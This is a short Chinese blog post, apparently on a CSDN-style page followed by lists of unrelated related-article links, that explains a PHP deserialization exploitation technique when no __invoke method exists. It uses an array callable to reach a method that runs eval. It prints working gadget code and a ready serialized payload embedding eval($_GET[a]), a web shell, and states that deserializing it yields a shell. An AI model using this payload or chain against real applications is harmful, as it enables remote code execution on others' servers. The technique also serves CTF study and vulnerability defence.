存在这样两个类,找不到可以利用的__invoke时,如何获得shell

class a{public $code;public function __destruct(){$test=$this->code;$test();}
}class b{public $code;public function getshell(){eval($this->code);}
}

php中可以动态调用函数

$a="phpinfo";
$a();

通过这种方式可以调用phpinfo函数,如何通过这种方式调用类中的函数,经过测试,数组方式可以调用类中函数

class test
{public function aa(){echo "123";}
}
$ar=array(new test(),"aa");
$ar();

调用成功,执行了aa函数

接下来利用方式就简单了,通过常规反序列化利用方式利用即可

class a{public $code;public function __destruct(){$test=$this->code;$test();}
}class b{public $code;public function getInfo(){eval($this->code);}
}$q=new a();
$w=new b();
$w->code="eval(\$_GET[a]);";
$q->code=array($w,"getInfo");
echo serialize($q);

获得序列化结果

O:1:"a":1:{s:4:"code";a:2:{i:0;O:1:"b":1:{s:4:"code";s:15:"eval($_GET[a]);";}i:1;s:7:"getInfo";}}

反序列化成功获得shell

php反序列化漏洞中当不存在__invoke时的一种利用思路相关推荐

  1. 关于Flask框架中启动Scrapy爬虫框架时的几种问题的解决

    最近开发的爬虫调度系统是由Flask框架提供接口,在Flask中启动Scrapy项目,开发期间遇到了几个问题,网上找找,自己也琢磨了好久,终于顺利解决.问题如下: 一.Scrapy.crawl指令找不 ...

  2. ctf php沙箱,详谈CTF中常出现的PHP反序列化漏洞

    0x01什么是PHP序列化与反序列化 PHP序列化是一种把变量或对象以字符串形式转化以方便储存和传输的方法 在PHP中,序列化用于存储或传递 PHP 的值的过程中,同时不丢失其类型和结构. 比方来说, ...

  3. 网络安全课第六节 反序列化漏洞的检测与防御

    12 反序列化漏洞:数据转换下的欺骗 上一讲介绍了 XXE 漏洞,它在业务场景中很容易用于读取敏感文件.进行代码执行,甚至也会用来渗透内网,也因此 XXE 漏洞常被当作一种严重漏洞来对待. 本讲我将介 ...

  4. Fastjson 1.2.68版本反序列化漏洞分析篇

    点击上方蓝色"程序猿DD",选择"设为星标" 回复"资源"获取独家整理的学习资料! 作者 | ale_wong@云影实验室 来源 | htt ...

  5. PHP反序列化漏洞总结

    一. 基础知识 1.什么是反序列化漏洞: 程序未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,通过在参数中注入一些代码,从而达到代码执行,SQL 注入,目录遍历等不可控后果,危害较 ...

  6. JBoss 4.x 5.x 6.xJBossMQ JMS 反序列化漏洞

    文章目录 Jboss反序列化漏洞利用CVE-2017-12149/CVE-2017-7504 基础知识 漏洞原理 影响版本 复现思路 复现-CVE-2017-12149 1.特征检测 2.反弹shel ...

  7. 反序列化对象列表发生异常_通过反序列化漏洞,黑客能做什么呢?

    在之前的文章中讲解了一个反序列化的例子,我们已经知道,通过反序列化漏洞,黑客可以调用到Runtime.exec()来进行命令执行.换一句话说,黑客已经能够在服务器上执行任意的命令,这就相当于间接掌控了 ...

  8. 烽火狼烟丨Fastjson反序列化漏洞风险提示

    1.漏洞概述 近日,WebRAY安全服务产品线监测到Fastjson官方发布公告,修复了一个存在Fastjson1.2.80版本以及之前的版本的反序列化漏洞. Fastjson是一个由Java语言编写 ...

  9. php7序列化,PHP内核层解析反序列化漏洞

    前言 在学习PHP的过程中发现有些PHP特性的东西不好理解,如PHP中的00截断,MD5缺陷,反序列化绕过__wakeup等等.本人不想拘泥于表面现象的理解,想探究PHP内核到底是怎样做到的. 下面是 ...

最新文章

  1. 【yolov4目标检测】(4) opencv+yolov4-tiny 实现选择性目标检测,附python完整代码
  2. C#2.0实例程序STEP BY STEP--实例二:数据类型
  3. python数据写入CSV
  4. Handlebars.js 模板引擎
  5. ue4 怎么修改骨骼动画_UE4换装系统(合并骨骼模型)
  6. 坑爹的UICollectionView
  7. 1 操作系统第一章 操作系统概念、功能、四大特征、操作系统发展与分类
  8. MASK LBP代币拍卖共募集近4000万美元
  9. [转载] python中numpy库的使用
  10. 最新用python来操作mysql完全解析
  11. Pycharm主题颜色设置
  12. python学习2——if 条件检查
  13. 2023年北京科技大学机械专硕考研成功上岸经验分享
  14. [转]优秀的计算机编程类博客 和 文章
  15. 初学者如何吃透一个Java项目
  16. 期货开户手续费的收取方式是什么?
  17. KEGG_cnetplot绘制基因—通路图(展示想要的通路)——R
  18. 寻找网络1020的结构平衡点
  19. MYSQL中的COLLATE是什么?
  20. 太原理工大学数据结构H算法内容知识点

热门文章

  1. win10系统装服务器2008蓝屏,win10蓝屏 重装系统还是蓝屏
  2. C# LeetCode刷题 - Leetcode 306. 累加数 - 题解
  3. 微信二维码海报推广示例
  4. 如何将pdf中一些特定页提取存储在另一个pdf中
  5. 网络分流器-TCP报文重组和会话规则-网络分流器
  6. 如何手动结束Python的子线程和子进程
  7. 黑苹果和笔记本键盘按键的映射及快捷键的设置
  8. 一锁知千秋,再和腾讯大佬的技术对话,我还是小看锁了!面试加分的答案都已安排
  9. MDT 2013 Update 1 Preview 部署 Windows 10之WDS部署服务配置
  10. 2019秋招|从春招到秋招,Java岗经验总结(收获AT)